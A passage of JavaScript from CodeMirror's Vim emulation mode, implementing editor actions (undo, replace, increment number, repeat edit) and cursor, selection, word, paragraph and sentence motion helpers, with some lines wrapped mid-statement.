            // Now fine tune the cursor to where we want it.
            if (linewise && actionArgs.after) {
              curPosFinal = Pos(
              cur.line + 1,
              findFirstNonWhiteSpaceCharacter(cm.getLine(cur.line + 1)));
            } else if (linewise && !actionArgs.after) {
              curPosFinal = Pos(
                cur.line,
                findFirstNonWhiteSpaceCharacter(cm.getLine(cur.line)));
            } else if (!linewise && actionArgs.after) {
              idx = cm.indexFromPos(cur);
              curPosFinal = cm.posFromIndex(idx + text.length - 1);
            } else {
              idx = cm.indexFromPos(cur);
              curPosFinal = cm.posFromIndex(idx + text.length);
            }
          }
        }
        if (vim.visualMode) {
          exitVisualMode(cm, false);
        }
        cm.setCursor(curPosFinal);
      },
      undo: function(cm, actionArgs) {
        cm.operation(function() {
          repeatFn(cm, CodeMirror.commands.undo, actionArgs.repeat)();
          cm.setCursor(cm.getCursor('anchor'));
        });
      },
      redo: function(cm, actionArgs) {
        repeatFn(cm, CodeMirror.commands.redo, actionArgs.repeat)();
      },
      setRegister: function(_cm, actionArgs, vim) {
        vim.inputState.registerName = actionArgs.selectedCharacter;
      },
      setMark: function(cm, actionArgs, vim) {
        var markName = actionArgs.selectedCharacter;
        updateMark(cm, vim, markName, cm.getCursor());
      },
      replace: function(cm, actionArgs, vim) {
        var replaceWith = actionArgs.selectedCharacter;
        var curStart = cm.getCursor();
        var replaceTo;
        var curEnd;
        var selections = cm.listSelections();
        if (vim.visualMode) {
          curStart = cm.getCursor('start');
          curEnd = cm.getCursor('end');
        } else {
          var line = cm.getLine(curStart.line);
          replaceTo = curStart.ch + actionArgs.repeat;
          if (replaceTo > line.length) {
            replaceTo=line.length;
          }
          curEnd = Pos(curStart.line, replaceTo);
        }
        if (replaceWith=='\n') {
          if (!vim.visualMode) cm.replaceRange('', curStart,
curEnd);
          // special case, where vim help says to replace by just one
line-break
          (CodeMirror.commands.newlineAndIndentContinueComment ||
CodeMirror.commands.newlineAndIndent)(cm);
        } else {
          var replaceWithStr = cm.getRange(curStart, curEnd);
          //replace all characters in range by selected, but keep
linebreaks
          replaceWithStr = replaceWithStr.replace(/[^\n]/g, replaceWith);
          if (vim.visualBlock) {
            // Tabs are split in visua block before replacing
            var spaces = new
Array(cm.getOption("tabSize")+1).join(' ');
            replaceWithStr = cm.getSelection();
            replaceWithStr = replaceWithStr.replace(/\t/g,
spaces).replace(/[^\n]/g, replaceWith).split('\n');
            cm.replaceSelections(replaceWithStr);
          } else {
            cm.replaceRange(replaceWithStr, curStart, curEnd);
          }
          if (vim.visualMode) {
            curStart = cursorIsBefore(selections[0].anchor,
selections[0].head) ?
                         selections[0].anchor : selections[0].head;
            cm.setCursor(curStart);
            exitVisualMode(cm, false);
          } else {
            cm.setCursor(offsetCursor(curEnd, 0, -1));
          }
        }
      },
      incrementNumberToken: function(cm, actionArgs) {
        var cur = cm.getCursor();
        var lineStr = cm.getLine(cur.line);
        var re = /(-?)(?:(0x)([\da-f]+)|(0b|0|)(\d+))/gi;
        var match;
        var start;
        var end;
        var numberStr;
        while ((match = re.exec(lineStr)) !== null) {
          start = match.index;
          end = start + match[0].length;
          if (cur.ch < end)break;
        }
        if (!actionArgs.backtrack && (end <= cur.ch))return;
        if (match) {
          var baseStr = match[2] || match[4]
          var digits = match[3] || match[5]
          var increment = actionArgs.increase ? 1 : -1;
          var base = {'0b': 2, '0': 8, '':
10, '0x': 16}[baseStr.toLowerCase()];
          var number = parseInt(match[1] + digits, base) + (increment *
actionArgs.repeat);
          numberStr = number.toString(base);
          var zeroPadding = baseStr ? new Array(digits.length -
numberStr.length + 1 + match[1].length).join('0') : ''
          if (numberStr.charAt(0) === '-') {
            numberStr = '-' + baseStr + zeroPadding +
numberStr.substr(1);
          } else {
            numberStr = baseStr + zeroPadding + numberStr;
          }
          var from = Pos(cur.line, start);
          var to = Pos(cur.line, end);
          cm.replaceRange(numberStr, from, to);
        } else {
          return;
        }
        cm.setCursor(Pos(cur.line, start + numberStr.length - 1));
      },
      repeatLastEdit: function(cm, actionArgs, vim) {
        var lastEditInputState = vim.lastEditInputState;
        if (!lastEditInputState) { return; }
        var repeat = actionArgs.repeat;
        if (repeat && actionArgs.repeatIsExplicit) {
          vim.lastEditInputState.repeatOverride = repeat;
        } else {
          repeat = vim.lastEditInputState.repeatOverride || repeat;
        }
        repeatLastEdit(cm, vim, repeat, false /** repeatForInsert */);
      },
      indent: function(cm, actionArgs) {
        cm.indentLine(cm.getCursor().line, actionArgs.indentRight);
      },
      exitInsertMode: exitInsertMode
    };

    function defineAction(name, fn) {
      actions[name] = fn;
    }

    /*
     * Below are miscellaneous utility functions used by vim.js
     */

    /**
     * Clips cursor to ensure that line is within the buffer's range
     * If includeLineBreak is true, then allow cur.ch == lineLength.
     */
    function clipCursorToContent(cm, cur) {
      var vim = cm.state.vim;
      var includeLineBreak = vim.insertMode || vim.visualMode;
      var line = Math.min(Math.max(cm.firstLine(), cur.line), cm.lastLine()
);
      var maxCh = lineLength(cm, line) - 1 + !!includeLineBreak;
      var ch = Math.min(Math.max(0, cur.ch), maxCh);
      return Pos(line, ch);
    }
    function copyArgs(args) {
      var ret = {};
      for (var prop in args) {
        if (args.hasOwnProperty(prop)) {
          ret[prop] = args[prop];
        }
      }
      return ret;
    }
    function offsetCursor(cur, offsetLine, offsetCh) {
      if (typeof offsetLine === 'object') {
        offsetCh = offsetLine.ch;
        offsetLine = offsetLine.line;
      }
      return Pos(cur.line + offsetLine, cur.ch + offsetCh);
    }
    function commandMatches(keys, keyMap, context, inputState) {
      // Partial matches are not applied. They inform the key handler
      // that the current key sequence is a subsequence of a valid key
      // sequence, so that the key buffer is not cleared.
      var match, partial = [], full = [];
      for (var i = 0; i < keyMap.length; i++) {
        var command = keyMap[i];
        if (context == 'insert' && command.context !=
'insert' ||
            command.context && command.context != context ||
            inputState.operator && command.type ==
'action' ||
            !(match = commandMatch(keys, command.keys))) { continue; }
        if (match == 'partial') { partial.push(command); }
        if (match == 'full') { full.push(command); }
      }
      return {
        partial: partial.length && partial,
        full: full.length && full
      };
    }
    function commandMatch(pressed, mapped) {
      if (mapped.slice(-11) == '<character>') {
        // Last character matches anything.
        var prefixLen = mapped.length - 11;
        var pressedPrefix = pressed.slice(0, prefixLen);
        var mappedPrefix = mapped.slice(0, prefixLen);
        return pressedPrefix == mappedPrefix && pressed.length >
prefixLen ? 'full' :
               mappedPrefix.indexOf(pressedPrefix) == 0 ?
'partial' : false;
      } else {
        return pressed == mapped ? 'full' :
               mapped.indexOf(pressed) == 0 ? 'partial' : false;
      }
    }
    function lastChar(keys) {
      var match = /^.*(<[^>]+>)$/.exec(keys);
      var selectedCharacter = match ? match[1] : keys.slice(-1);
      if (selectedCharacter.length > 1){
        switch(selectedCharacter){
          case '<CR>':
            selectedCharacter='\n';
            break;
          case '<Space>':
            selectedCharacter=' ';
            break;
          default:
            selectedCharacter='';
            break;
        }
      }
      return selectedCharacter;
    }
    function repeatFn(cm, fn, repeat) {
      return function() {
        for (var i = 0; i < repeat; i++) {
          fn(cm);
        }
      };
    }
    function copyCursor(cur) {
      return Pos(cur.line, cur.ch);
    }
    function cursorEqual(cur1, cur2) {
      return cur1.ch == cur2.ch && cur1.line == cur2.line;
    }
    function cursorIsBefore(cur1, cur2) {
      if (cur1.line < cur2.line) {
        return true;
      }
      if (cur1.line == cur2.line && cur1.ch < cur2.ch) {
        return true;
      }
      return false;
    }
    function cursorMin(cur1, cur2) {
      if (arguments.length > 2) {
        cur2 = cursorMin.apply(undefined,
Array.prototype.slice.call(arguments, 1));
      }
      return cursorIsBefore(cur1, cur2) ? cur1 : cur2;
    }
    function cursorMax(cur1, cur2) {
      if (arguments.length > 2) {
        cur2 = cursorMax.apply(undefined,
Array.prototype.slice.call(arguments, 1));
      }
      return cursorIsBefore(cur1, cur2) ? cur2 : cur1;
    }
    function cursorIsBetween(cur1, cur2, cur3) {
      // returns true if cur2 is between cur1 and cur3.
      var cur1before2 = cursorIsBefore(cur1, cur2);
      var cur2before3 = cursorIsBefore(cur2, cur3);
      return cur1before2 && cur2before3;
    }
    function lineLength(cm, lineNum) {
      return cm.getLine(lineNum).length;
    }
    function trim(s) {
      if (s.trim) {
        return s.trim();
      }
      return s.replace(/^\s+|\s+$/g, '');
    }
    function escapeRegex(s) {
      return s.replace(/([.?*+$\[\]\/\\(){}|\-])/g, '\\$1');
    }
    function extendLineToColumn(cm, lineNum, column) {
      var endCh = lineLength(cm, lineNum);
      var spaces = new Array(column-endCh+1).join(' ');
      cm.setCursor(Pos(lineNum, endCh));
      cm.replaceRange(spaces, cm.getCursor());
    }
    // This functions selects a rectangular block
    // of text with selectionEnd as any of its corner
    // Height of block:
    // Difference in selectionEnd.line and first/last selection.line
    // Width of the block:
    // Distance between selectionEnd.ch and any(first considered here)
selection.ch
    function selectBlock(cm, selectionEnd) {
      var selections = [], ranges = cm.listSelections();
      var head = copyCursor(cm.clipPos(selectionEnd));
      var isClipped = !cursorEqual(selectionEnd, head);
      var curHead = cm.getCursor('head');
      var primIndex = getIndex(ranges, curHead);
      var wasClipped = cursorEqual(ranges[primIndex].head,
ranges[primIndex].anchor);
      var max = ranges.length - 1;
      var index = max - primIndex > primIndex ? max : 0;
      var base = ranges[index].anchor;

      var firstLine = Math.min(base.line, head.line);
      var lastLine = Math.max(base.line, head.line);
      var baseCh = base.ch, headCh = head.ch;

      var dir = ranges[index].head.ch - baseCh;
      var newDir = headCh - baseCh;
      if (dir > 0 && newDir <= 0) {
        baseCh++;
        if (!isClipped) { headCh--; }
      } else if (dir < 0 && newDir >= 0) {
        baseCh--;
        if (!wasClipped) { headCh++; }
      } else if (dir < 0 && newDir == -1) {
        baseCh--;
        headCh++;
      }
      for (var line = firstLine; line <= lastLine; line++) {
        var range = {anchor: new Pos(line, baseCh), head: new Pos(line,
headCh)};
        selections.push(range);
      }
      cm.setSelections(selections);
      selectionEnd.ch = headCh;
      base.ch = baseCh;
      return base;
    }
    function selectForInsert(cm, head, height) {
      var sel = [];
      for (var i = 0; i < height; i++) {
        var lineHead = offsetCursor(head, i, 0);
        sel.push({anchor: lineHead, head: lineHead});
      }
      cm.setSelections(sel, 0);
    }
    // getIndex returns the index of the cursor in the selections.
    function getIndex(ranges, cursor, end) {
      for (var i = 0; i < ranges.length; i++) {
        var atAnchor = end != 'head' &&
cursorEqual(ranges[i].anchor, cursor);
        var atHead = end != 'anchor' &&
cursorEqual(ranges[i].head, cursor);
        if (atAnchor || atHead) {
          return i;
        }
      }
      return -1;
    }
    function getSelectedAreaRange(cm, vim) {
      var lastSelection = vim.lastSelection;
      var getCurrentSelectedAreaRange = function() {
        var selections = cm.listSelections();
        var start =  selections[0];
        var end = selections[selections.length-1];
        var selectionStart = cursorIsBefore(start.anchor, start.head) ?
start.anchor : start.head;
        var selectionEnd = cursorIsBefore(end.anchor, end.head) ? end.head
: end.anchor;
        return [selectionStart, selectionEnd];
      };
      var getLastSelectedAreaRange = function() {
        var selectionStart = cm.getCursor();
        var selectionEnd = cm.getCursor();
        var block = lastSelection.visualBlock;
        if (block) {
          var width = block.width;
          var height = block.height;
          selectionEnd = Pos(selectionStart.line + height,
selectionStart.ch + width);
          var selections = [];
          // selectBlock creates a 'proper' rectangular block.
          // We do not want that in all cases, so we manually set
selections.
          for (var i = selectionStart.line; i < selectionEnd.line; i++)
{
            var anchor = Pos(i, selectionStart.ch);
            var head = Pos(i, selectionEnd.ch);
            var range = {anchor: anchor, head: head};
            selections.push(range);
          }
          cm.setSelections(selections);
        } else {
          var start = lastSelection.anchorMark.find();
          var end = lastSelection.headMark.find();
          var line = end.line - start.line;
          var ch = end.ch - start.ch;
          selectionEnd = {line: selectionEnd.line + line, ch: line ?
selectionEnd.ch : ch + selectionEnd.ch};
          if (lastSelection.visualLine) {
            selectionStart = Pos(selectionStart.line, 0);
            selectionEnd = Pos(selectionEnd.line, lineLength(cm,
selectionEnd.line));
          }
          cm.setSelection(selectionStart, selectionEnd);
        }
        return [selectionStart, selectionEnd];
      };
      if (!vim.visualMode) {
      // In case of replaying the action.
        return getLastSelectedAreaRange();
      } else {
        return getCurrentSelectedAreaRange();
      }
    }
    // Updates the previous selection with the current selection's
values. This
    // should only be called in visual mode.
    function updateLastSelection(cm, vim) {
      var anchor = vim.sel.anchor;
      var head = vim.sel.head;
      // To accommodate the effect of lastPastedText in the last selection
      if (vim.lastPastedText) {
        head = cm.posFromIndex(cm.indexFromPos(anchor) +
vim.lastPastedText.length);
        vim.lastPastedText = null;
      }
      vim.lastSelection = {'anchorMark': cm.setBookmark(anchor),
                           'headMark': cm.setBookmark(head),
                           'anchor': copyCursor(anchor),
                           'head': copyCursor(head),
                           'visualMode': vim.visualMode,
                           'visualLine': vim.visualLine,
                           'visualBlock': vim.visualBlock};
    }
    function expandSelection(cm, start, end) {
      var sel = cm.state.vim.sel;
      var head = sel.head;
      var anchor = sel.anchor;
      var tmp;
      if (cursorIsBefore(end, start)) {
        tmp = end;
        end = start;
        start = tmp;
      }
      if (cursorIsBefore(head, anchor)) {
        head = cursorMin(start, head);
        anchor = cursorMax(anchor, end);
      } else {
        anchor = cursorMin(start, anchor);
        head = cursorMax(head, end);
        head = offsetCursor(head, 0, -1);
        if (head.ch == -1 && head.line != cm.firstLine()) {
          head = Pos(head.line - 1, lineLength(cm, head.line - 1));
        }
      }
      return [anchor, head];
    }
    /**
     * Updates the CodeMirror selection to match the provided vim
selection.
     * If no arguments are given, it uses the current vim selection state.
     */
    function updateCmSelection(cm, sel, mode) {
      var vim = cm.state.vim;
      sel = sel || vim.sel;
      var mode = mode ||
        vim.visualLine ? 'line' : vim.visualBlock ?
'block' : 'char';
      var cmSel = makeCmSelection(cm, sel, mode);
      cm.setSelections(cmSel.ranges, cmSel.primary);
      updateFakeCursor(cm);
    }
    function makeCmSelection(cm, sel, mode, exclusive) {
      var head = copyCursor(sel.head);
      var anchor = copyCursor(sel.anchor);
      if (mode == 'char') {
        var headOffset = !exclusive && !cursorIsBefore(sel.head,
sel.anchor) ? 1 : 0;
        var anchorOffset = cursorIsBefore(sel.head, sel.anchor) ? 1 : 0;
        head = offsetCursor(sel.head, 0, headOffset);
        anchor = offsetCursor(sel.anchor, 0, anchorOffset);
        return {
          ranges: [{anchor: anchor, head: head}],
          primary: 0
        };
      } else if (mode == 'line') {
        if (!cursorIsBefore(sel.head, sel.anchor)) {
          anchor.ch = 0;

          var lastLine = cm.lastLine();
          if (head.line > lastLine) {
            head.line = lastLine;
          }
          head.ch = lineLength(cm, head.line);
        } else {
          head.ch = 0;
          anchor.ch = lineLength(cm, anchor.line);
        }
        return {
          ranges: [{anchor: anchor, head: head}],
          primary: 0
        };
      } else if (mode == 'block') {
        var top = Math.min(anchor.line, head.line),
            left = Math.min(anchor.ch, head.ch),
            bottom = Math.max(anchor.line, head.line),
            right = Math.max(anchor.ch, head.ch) + 1;
        var height = bottom - top + 1;
        var primary = head.line == top ? 0 : height - 1;
        var ranges = [];
        for (var i = 0; i < height; i++) {
          ranges.push({
            anchor: Pos(top + i, left),
            head: Pos(top + i, right)
          });
        }
        return {
          ranges: ranges,
          primary: primary
        };
      }
    }
    function getHead(cm) {
      var cur = cm.getCursor('head');
      if (cm.getSelection().length == 1) {
        // Small corner case when only 1 character is selected. The
"real"
        // head is the left of head and anchor.
        cur = cursorMin(cur, cm.getCursor('anchor'));
      }
      return cur;
    }

    /**
     * If moveHead is set to false, the CodeMirror selection will not be
     * touched. The caller assumes the responsibility of putting the cursor
    * in the right place.
     */
    function exitVisualMode(cm, moveHead) {
      var vim = cm.state.vim;
      if (moveHead !== false) {
        cm.setCursor(clipCursorToContent(cm, vim.sel.head));
      }
      updateLastSelection(cm, vim);
      vim.visualMode = false;
      vim.visualLine = false;
      vim.visualBlock = false;
      if (!vim.insertMode) CodeMirror.signal(cm,
"vim-mode-change", {mode: "normal"});
      clearFakeCursor(vim);
    }

    // Remove any trailing newlines from the selection. For
    // example, with the caret at the start of the last word on the line,
    // 'dw' should word, but not the newline, while 'w'
should advance the
    // caret to the first character of the next line.
    function clipToLine(cm, curStart, curEnd) {
      var selection = cm.getRange(curStart, curEnd);
      // Only clip if the selection ends with trailing newline + whitespace
      if (/\n\s*$/.test(selection)) {
        var lines = selection.split('\n');
        // We know this is all whitespace.
        lines.pop();

        // Cases:
        // 1. Last word is an empty line - do not clip the trailing
'\n'
        // 2. Last word is not an empty line - clip the trailing
'\n'
        var line;
        // Find the line containing the last word, and clip all whitespace
up
        // to it.
        for (var line = lines.pop(); lines.length > 0 && line
&& isWhiteSpaceString(line); line = lines.pop()) {
          curEnd.line--;
          curEnd.ch = 0;
        }
        // If the last word is not an empty line, clip an additional
newline
        if (line) {
          curEnd.line--;
          curEnd.ch = lineLength(cm, curEnd.line);
        } else {
          curEnd.ch = 0;
        }
      }
    }

    // Expand the selection to line ends.
    function expandSelectionToLine(_cm, curStart, curEnd) {
      curStart.ch = 0;
      curEnd.ch = 0;
      curEnd.line++;
    }

    function findFirstNonWhiteSpaceCharacter(text) {
      if (!text) {
        return 0;
      }
      var firstNonWS = text.search(/\S/);
      return firstNonWS == -1 ? text.length : firstNonWS;
    }

    function expandWordUnderCursor(cm, inclusive, _forward, bigWord,
noSymbol) {
      var cur = getHead(cm);
      var line = cm.getLine(cur.line);
      var idx = cur.ch;

      // Seek to first word or non-whitespace character, depending on if
      // noSymbol is true.
      var test = noSymbol ? wordCharTest[0] : bigWordCharTest [0];
      while (!test(line.charAt(idx))) {
        idx++;
        if (idx >= line.length) { return null; }
      }

      if (bigWord) {
        test = bigWordCharTest[0];
      } else {
        test = wordCharTest[0];
        if (!test(line.charAt(idx))) {
          test = wordCharTest[1];
        }
      }

      var end = idx, start = idx;
      while (test(line.charAt(end)) && end < line.length) {
end++; }
      while (test(line.charAt(start)) && start >= 0) { start--;
}
      start++;

      if (inclusive) {
        // If present, include all whitespace after word.
        // Otherwise, include all whitespace before word, except
indentation.
        var wordEnd = end;
        while (/\s/.test(line.charAt(end)) && end < line.length)
{ end++; }
        if (wordEnd == end) {
          var wordStart = start;
          while (/\s/.test(line.charAt(start - 1)) && start > 0)
{ start--; }
          if (!start) { start = wordStart; }
        }
      }
      return { start: Pos(cur.line, start), end: Pos(cur.line, end) };
    }

    function recordJumpPosition(cm, oldCur, newCur) {
      if (!cursorEqual(oldCur, newCur)) {
        vimGlobalState.jumpList.add(cm, oldCur, newCur);
      }
    }

    function recordLastCharacterSearch(increment, args) {
        vimGlobalState.lastCharacterSearch.increment = increment;
        vimGlobalState.lastCharacterSearch.forward = args.forward;
        vimGlobalState.lastCharacterSearch.selectedCharacter =
args.selectedCharacter;
    }

    var symbolToMode = {
        '(': 'bracket', ')':
'bracket', '{': 'bracket', '}':
'bracket',
        '[': 'section', ']':
'section',
        '*': 'comment', '/':
'comment',
        'm': 'method', 'M':
'method',
        '#': 'preprocess'
    };
    var findSymbolModes = {
      bracket: {
        isComplete: function(state) {
          if (state.nextCh === state.symb) {
            state.depth++;
            if (state.depth >= 1)return true;
          } else if (state.nextCh === state.reverseSymb) {
            state.depth--;
          }
          return false;
        }
      },
      section: {
        init: function(state) {
          state.curMoveThrough = true;
          state.symb = (state.forward ? ']' : '[') ===
state.symb ? '{' : '}';
        },
        isComplete: function(state) {
          return state.index === 0 && state.nextCh === state.symb;
        }
      },
      comment: {
        isComplete: function(state) {
          var found = state.lastCh === '*' &&
state.nextCh === '/';
          state.lastCh = state.nextCh;
          return found;
        }
      },
      // TODO: The original Vim implementation only operates on level 1 and
2.
      // The current implementation doesn't check for code block level
and
      // therefore it operates on any levels.
      method: {
        init: function(state) {
          state.symb = (state.symb === 'm' ? '{' :
'}');
          state.reverseSymb = state.symb === '{' ? '}'
: '{';
        },
        isComplete: function(state) {
          if (state.nextCh === state.symb)return true;
          return false;
        }
      },
      preprocess: {
        init: function(state) {
          state.index = 0;
        },
        isComplete: function(state) {
          if (state.nextCh === '#') {
            var token = state.lineText.match(/#(\w+)/)[1];
            if (token === 'endif') {
              if (state.forward && state.depth === 0) {
                return true;
              }
              state.depth++;
            } else if (token === 'if') {
              if (!state.forward && state.depth === 0) {
                return true;
              }
              state.depth--;
            }
            if (token === 'else' && state.depth ===
0)return true;
          }
          return false;
        }
      }
    };
    function findSymbol(cm, repeat, forward, symb) {
      var cur = copyCursor(cm.getCursor());
      var increment = forward ? 1 : -1;
      var endLine = forward ? cm.lineCount() : -1;
      var curCh = cur.ch;
      var line = cur.line;
      var lineText = cm.getLine(line);
      var state = {
        lineText: lineText,
        nextCh: lineText.charAt(curCh),
        lastCh: null,
        index: curCh,
        symb: symb,
        reverseSymb: (forward ?  { ')': '(',
'}': '{' } : { '(': ')',
'{': '}' })[symb],
        forward: forward,
        depth: 0,
        curMoveThrough: false
      };
      var mode = symbolToMode[symb];
      if (!mode)return cur;
      var init = findSymbolModes[mode].init;
      var isComplete = findSymbolModes[mode].isComplete;
      if (init) { init(state); }
      while (line !== endLine && repeat) {
        state.index += increment;
        state.nextCh = state.lineText.charAt(state.index);
        if (!state.nextCh) {
          line += increment;
          state.lineText = cm.getLine(line) || '';
          if (increment > 0) {
            state.index = 0;
          } else {
            var lineLen = state.lineText.length;
            state.index = (lineLen > 0) ? (lineLen-1) : 0;
          }
          state.nextCh = state.lineText.charAt(state.index);
        }
        if (isComplete(state)) {
          cur.line = line;
          cur.ch = state.index;
          repeat--;
        }
      }
      if (state.nextCh || state.curMoveThrough) {
        return Pos(line, state.index);
      }
      return cur;
    }

    /*
     * Returns the boundaries of the next word. If the cursor in the middle
of
     * the word, then returns the boundaries of the current word, starting
at
     * the cursor. If the cursor is at the start/end of a word, and we are
going
     * forward/backward, respectively, find the boundaries of the next
word.
     *
     * @param {CodeMirror} cm CodeMirror object.
     * @param {Cursor} cur The cursor position.
     * @param {boolean} forward True to search forward. False to search
     *     backward.
     * @param {boolean} bigWord True if punctuation count as part of the
word.
     *     False if only [a-zA-Z0-9] characters count as part of the word.
     * @param {boolean} emptyLineIsWord True if empty lines should be
treated
     *     as words.
     * @return {Object{from:number, to:number, line: number}} The
boundaries of
     *     the word, or null if there are no more words.
     */
    function findWord(cm, cur, forward, bigWord, emptyLineIsWord) {
      var lineNum = cur.line;
      var pos = cur.ch;
      var line = cm.getLine(lineNum);
      var dir = forward ? 1 : -1;
      var charTests = bigWord ? bigWordCharTest: wordCharTest;

      if (emptyLineIsWord && line == '') {
        lineNum += dir;
        line = cm.getLine(lineNum);
        if (!isLine(cm, lineNum)) {
          return null;
        }
        pos = (forward) ? 0 : line.length;
      }

      while (true) {
        if (emptyLineIsWord && line == '') {
          return { from: 0, to: 0, line: lineNum };
        }
        var stop = (dir > 0) ? line.length : -1;
        var wordStart = stop, wordEnd = stop;
        // Find bounds of next word.
        while (pos != stop) {
          var foundWord = false;
          for (var i = 0; i < charTests.length && !foundWord;
++i) {
            if (charTests[i](line.charAt(pos))) {
              wordStart = pos;
              // Advance to end of word.
              while (pos != stop && charTests[i](line.charAt(pos)))
{
                pos += dir;
              }
              wordEnd = pos;
              foundWord = wordStart != wordEnd;
              if (wordStart == cur.ch && lineNum == cur.line
&&
                  wordEnd == wordStart + dir) {
                // We started at the end of a word. Find the next one.
                continue;
              } else {
                return {
                  from: Math.min(wordStart, wordEnd + 1),
                  to: Math.max(wordStart, wordEnd),
                  line: lineNum };
              }
            }
          }
          if (!foundWord) {
            pos += dir;
          }
        }
        // Advance to next/prev line.
        lineNum += dir;
        if (!isLine(cm, lineNum)) {
          return null;
        }
        line = cm.getLine(lineNum);
        pos = (dir > 0) ? 0 : line.length;
      }
    }

    /**
     * @param {CodeMirror} cm CodeMirror object.
     * @param {Pos} cur The position to start from.
     * @param {int} repeat Number of words to move past.
     * @param {boolean} forward True to search forward. False to search
     *     backward.
     * @param {boolean} wordEnd True to move to end of word. False to move
to
     *     beginning of word.
     * @param {boolean} bigWord True if punctuation count as part of the
word.
     *     False if only alphabet characters count as part of the word.
     * @return {Cursor} The position the cursor should move to.
     */
    function moveToWord(cm, cur, repeat, forward, wordEnd, bigWord) {
      var curStart = copyCursor(cur);
      var words = [];
      if (forward && !wordEnd || !forward && wordEnd) {
        repeat++;
      }
      // For 'e', empty lines are not considered words, go
figure.
      var emptyLineIsWord = !(forward && wordEnd);
      for (var i = 0; i < repeat; i++) {
        var word = findWord(cm, cur, forward, bigWord, emptyLineIsWord);
        if (!word) {
          var eodCh = lineLength(cm, cm.lastLine());
          words.push(forward
              ? {line: cm.lastLine(), from: eodCh, to: eodCh}
              : {line: 0, from: 0, to: 0});
          break;
        }
        words.push(word);
        cur = Pos(word.line, forward ? (word.to - 1) : word.from);
      }
      var shortCircuit = words.length != repeat;
      var firstWord = words[0];
      var lastWord = words.pop();
      if (forward && !wordEnd) {
        // w
        if (!shortCircuit && (firstWord.from != curStart.ch ||
firstWord.line != curStart.line)) {
          // We did not start in the middle of a word. Discard the extra
word at the end.
          lastWord = words.pop();
        }
        return Pos(lastWord.line, lastWord.from);
      } else if (forward && wordEnd) {
        return Pos(lastWord.line, lastWord.to - 1);
      } else if (!forward && wordEnd) {
        // ge
        if (!shortCircuit && (firstWord.to != curStart.ch ||
firstWord.line != curStart.line)) {
          // We did not start in the middle of a word. Discard the extra
word at the end.
          lastWord = words.pop();
        }
        return Pos(lastWord.line, lastWord.to);
      } else {
        // b
        return Pos(lastWord.line, lastWord.from);
      }
    }

    function moveToCharacter(cm, repeat, forward, character) {
      var cur = cm.getCursor();
      var start = cur.ch;
      var idx;
      for (var i = 0; i < repeat; i ++) {
        var line = cm.getLine(cur.line);
        idx = charIdxInLine(start, line, character, forward, true);
        if (idx == -1) {
          return null;
        }
        start = idx;
      }
      return Pos(cm.getCursor().line, idx);
    }

    function moveToColumn(cm, repeat) {
      // repeat is always >= 1, so repeat - 1 always corresponds
      // to the column we want to go to.
      var line = cm.getCursor().line;
      return clipCursorToContent(cm, Pos(line, repeat - 1));
    }

    function updateMark(cm, vim, markName, pos) {
      if (!inArray(markName, validMarks)) {
        return;
      }
      if (vim.marks[markName]) {
        vim.marks[markName].clear();
      }
      vim.marks[markName] = cm.setBookmark(pos);
    }

    function charIdxInLine(start, line, character, forward, includeChar) {
      // Search for char in line.
      // motion_options: {forward, includeChar}
      // If includeChar = true, include it too.
      // If forward = true, search forward, else search backwards.
      // If char is not found on this line, do nothing
      var idx;
      if (forward) {
        idx = line.indexOf(character, start + 1);
        if (idx != -1 && !includeChar) {
          idx -= 1;
        }
      } else {
        idx = line.lastIndexOf(character, start - 1);
        if (idx != -1 && !includeChar) {
          idx += 1;
        }
      }
      return idx;
    }

    function findParagraph(cm, head, repeat, dir, inclusive) {
      var line = head.line;
      var min = cm.firstLine();
      var max = cm.lastLine();
      var start, end, i = line;
      function isEmpty(i) { return !cm.getLine(i); }
      function isBoundary(i, dir, any) {
        if (any) { return isEmpty(i) != isEmpty(i + dir); }
        return !isEmpty(i) && isEmpty(i + dir);
      }
      if (dir) {
        while (min <= i && i <= max && repeat > 0)
{
          if (isBoundary(i, dir)) { repeat--; }
          i += dir;
        }
        return new Pos(i, 0);
      }

      var vim = cm.state.vim;
      if (vim.visualLine && isBoundary(line, 1, true)) {
        var anchor = vim.sel.anchor;
        if (isBoundary(anchor.line, -1, true)) {
          if (!inclusive || anchor.line != line) {
            line += 1;
          }
        }
      }
      var startState = isEmpty(line);
      for (i = line; i <= max && repeat; i++) {
        if (isBoundary(i, 1, true)) {
          if (!inclusive || isEmpty(i) != startState) {
            repeat--;
          }
        }
      }
      end = new Pos(i, 0);
      // select boundary before paragraph for the last one
      if (i > max && !startState) { startState = true; }
      else { inclusive = false; }
      for (i = line; i > min; i--) {
        if (!inclusive || isEmpty(i) == startState || i == line) {
          if (isBoundary(i, -1, true)) { break; }
        }
      }
      start = new Pos(i, 0);
      return { start: start, end: end };
    }

    function findSentence(cm, cur, repeat, dir) {

      /*
        Takes an index object
        {
          line: the line string,
          ln: line number,
          pos: index in line,
          dir: direction of traversal (-1 or 1)
        }
        and modifies the line, ln, and pos members to represent the
        next valid position or sets them to null if there are
        no more valid positions.
       */
      function nextChar(cm, idx) {
        if (idx.pos + idx.dir < 0 || idx.pos + idx.dir >=
idx.line.length) {
          idx.ln += idx.dir;
          if (!isLine(cm, idx.ln)) {
            idx.line = null;
            idx.ln = null;
            idx.pos = null;
            return;
          }
          idx.line = cm.getLine(idx.ln);
          idx.pos = (idx.dir > 0) ? 0 : idx.line.length - 1;
        }
        else {
          idx.pos += idx.dir;
        }
      }

      /*
        Performs one iteration of traversal in forward direction
        Returns an index object of the new location
       */
      function forward(cm, ln, pos, dir) {
        var line = cm.getLine(ln);
        var stop = (line === "");

        var curr = {
          line: line,
          ln: ln,
          pos: pos,
          dir: dir,
        }

        var last_valid = {
          ln: curr.ln,
          pos: curr.pos,
        }

        var skip_empty_lines = (curr.line === "");

        // Move one step to skip character we start on
        nextChar(cm, curr);

        while (curr.line !== null) {
          last_valid.ln = curr.ln;
          last_valid.pos = curr.pos;

          if (curr.line === "" && !skip_empty_lines) {
            return { ln: curr.ln, pos: curr.pos, };
          }
          else if (stop && curr.line !== "" &&
!isWhiteSpaceString(curr.line[curr.pos])) {
            return { ln: curr.ln, pos: curr.pos, };
          }
          else if (isEndOfSentenceSymbol(curr.line[curr.pos])
            && !stop
            && (curr.pos === curr.line.length - 1
              || isWhiteSpaceString(curr.line[curr.pos + 1]))) {
            stop = true;
          }

          nextChar(cm, curr);
        }

        /*
          Set the position to the last non whitespace character on the last
          valid line in the case that we reach the end of the document.
        */
        var line = cm.getLine(last_valid.ln);
        last_valid.pos = 0;
        for(var i = line.length - 1; i >= 0; --i) {
          if (!isWhiteSpaceString(line[i])) {
            last_valid.pos = i;
            break;
          }
        }

        return last_valid;

      }

      /*
